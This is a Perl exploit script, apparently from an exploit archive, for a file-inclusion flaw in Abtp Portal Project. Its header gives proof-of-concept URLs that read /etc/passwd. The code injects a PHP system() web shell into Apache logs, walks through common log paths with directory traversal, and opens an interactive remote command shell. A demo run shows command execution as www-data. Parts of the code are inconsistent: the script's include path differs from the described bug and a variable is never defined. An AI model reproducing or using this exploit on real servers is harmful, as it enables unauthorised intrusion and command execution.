Abtp Portal Project 0.1.0 - LFI Exploit



#!/usr/bin/perl


=about
----------------------------------------------------------------------------------------------------

  Name : Abtp Portal Project <= 1.0
  Site : http://sourceforge.net/projects/abtpportal/
  Down : http://sourceforge.net/project/platformdownload.php?group_id=59168

----------------------------------------------------------------------------------------------------

  
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------

  Description:

  Bug : Local/Remote File Inclusion

  Look this: includes/esqueletos/skel_null.php:1: <? include($ABTPV_BLOQUE_CENTRAL); ?>
  The variable $ ABTPV_BLOQUE_CENTRAL was not correctly stated thus enabling the attack include malicious files or read files from the system.
  
  If allow_url_fopen=on   --> RFI;
  If magic_quotes_gpc=off --> LFI;   

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  P0c:
    
    RFI:http://localhost/Scripts/abtpportal0.1.0/includes/esqueletos/skel_null.php?ABTPV_BLOQUE_CENTRAL=[EVIL_CODE]?

    LFI:http://localhost/Scripts/abtpportal0.1.0/includes/esqueletos/skel_null.php?ABTPV_BLOQUE_CENTRAL=/etc/passwd

  OBS: need register_globals=on;

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  Exploit Demo:

    perl abtpportal.txt http://localhost/Scripts/abtpportal0.1.0

      --------------------------------------
      - Abtp Portal Project               
      - RCE Exploit                        
      - by br0ly                           
      --------------------------------------

    [*] Injecting evil php code ..
    [*] Cheeking for Apache Logs ..
    [*] Apache Log Injection completed
    [*] Path: /var/log/apache2/access.log
    [!] Hi my master, do your job now [;D]

    shell[localhost]$> id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
----------------------------------------------------------------------------------------------------

  
Greetz : Osirys.

;D

=cut

use IO::Socket::INET;
use LWP::UserAgent;


my $host    =  $ARGV[0];
my $lfi_path    =  "/help.php?module=";
my $gotcha      =  0;
my $null    = "%00";    
my $rand1    =  "1337".$rand_a."1337";
my $rand_b    =  int(rand 150);
my $rand2    =  "1337".$rand_b."1337";
my $dir        =  "../../../../../../../../../..";    
my @logs_dirs   =  qw(
                      /var/log/httpd/access_log
                      /var/log/httpd/access.log
                      /var/log/httpd/error.log
                      /var/log/httpd/error_log
                      /var/log/access_log
                      /logs/error.log
                      /logs/access.log
                      /var/log/apache/error_log
                      /var/log/apache/error.log
              /var/log/apache2/error_log
                      /var/log/apache2/error.log
                      /etc/httpd/logs/access_log
                      /usr/local/apache/logs/error_log
              /usr/local/apache2/logs/error_log
              /etc/httpd/logs/access.log
                      /etc/httpd/logs/error_log
                      /etc/httpd/logs/error.log
                      /usr/local/apache/logs/access_log
                      /usr/local/apache/logs/access.log
              /usr/local/apache2/logs/access_log
                      /usr/local/apache2/logs/access.log
                      /var/www/logs/access_log
                      /var/www/logs/access.log
                      /var/log/apache/access_log
                      /var/log/apache/access.log
              /var/log/apache2/access_log
                      /var/log/apache2/access.log
                      /var/log/access_log
                      /var/www/logs/error_log
                      /var/www/logs/error.log
                      /usr/local/apache/logs/error.log
              /usr/local/apache2/logs/error.log
              /var/log/error_log
                      /apache/logs/error.log
                      /apache/logs/access.log
                    );

my $php_code   =  "<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st".
                  "
ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";

 if (@ARGV < 1) { 
  
      &banner(); 
      &help("-1"); 
  }

  elsif (cheek($host) == 1) {
      
      &banner();

      $datas = get_input($host);
      $datas =~ /(.*) (.*)/;
      ($h0st,$path) = ($1,$2);

      &xploit();
  }
  
  else {
      
      &banner();
      help("-2");
  }


sub xploit () {

    $sock = IO::Socket::INET->new(
                                PeerAddr => $h0st,
                                PeerPort => 80,
                                Proto => "tcp"
                  ) || die "Can't connect to $host:80!\n";
    
    print "[*] Injecting evil php code ..\n";

    print $sock "GET /br0ly_log_inj start0:".$rand1.$php_code.":0end".$rand2." HTTP/1.1\r\n";
    print $sock "Host: ".$host."\r\n";
    print $sock "Connection: close\r\n\r\n";
    close($sock);
    
    print "[*] Cheeking for Apache Logs ..\n";

    while (($log = <@logs_dirs>)&&($gotcha != 1)) {
    
    $tmp_path = $host.$lfi_path.$dir.$log.$null;
    $re = get_req($tmp_path);
    
    if ($re =~ /br0ly_log_inj/) {
        
        $gotcha = 1;
        $log_path = $tmp_path;
        print "[*] Apache Log Injection completed\n";
        print "[*] Path: $log\n";
        print "[!] Hi my master, do your job now [;D]\n\n";
        &exec_cmd;
    }
    }

    $gotcha == 1 || die "[-] Couldn't find Apache Logs\n";

}

sub exec_cmd {
    
      $h0st !~ /www\./ || $h0st =~ s/www\.//;
      print "shell[$h0st]\$> ";
      $cmd = <STDIN>;
      $cmd !~ /exit/ || die "[-] Quitting ..\n\n";
      $exec_url = $log_path."&cmd=".$cmd;
      my $re = get_req($exec_url);
      my $content = tag($re);
    
      if ($content =~ m/start0:$rand1(.+)\*:0end$rand2/g) {
    
      my $out = $1;
      $out =~ s/\$/ /g;
      $out =~ s/\*/\n/g;
      chomp($out);
      print "$out\n";
      &exec_cmd;
      }

      else {
        
      $c++;
      $cmd =~ s/\n//;
      print "bash: ".$cmd.": command not found\n";
      $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
      &exec_cmd;
      }

}


sub get_input() {
   
    my $host = $_[0];
    $host =~ /http:\/\/(.*)/;
    $s_host = $1;
    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
    ($h0st,$path) = ($1,$2);
    $path =~ s/(.*)/\/$1/;
    $full_det = $h0st." ".$path;
    return $full_det;
}



sub tag() {

    my $string = $_[0];
    $string =~ s/ /\$/g;
    $string =~ s/\s/\*/g;
    return($string);
}

sub cheek() {
    
    my $host  = $_[0];
    if ($host =~ /http:\/\/(.*)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub get_req() {
  
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}

sub help() {

    my $error = $_[0];
    if ($error == -1) {
        print "\n[-] Error, missed some arguments !\n\n";
    }
    
    elsif ($error == -2) {

        print "\n[-] Error, Bad arguments !\n";
    }
  
    print "[*] Usage : perl $0 http://localhost//\n\n";
    exit(0);
}

sub banner () {
print "\n".
" --------------------------------------\n".
" - Abtp Portal Project \n".
" - RCE Exploit \n".
" - by br0ly \n".
" --------------------------------------\n\n";
}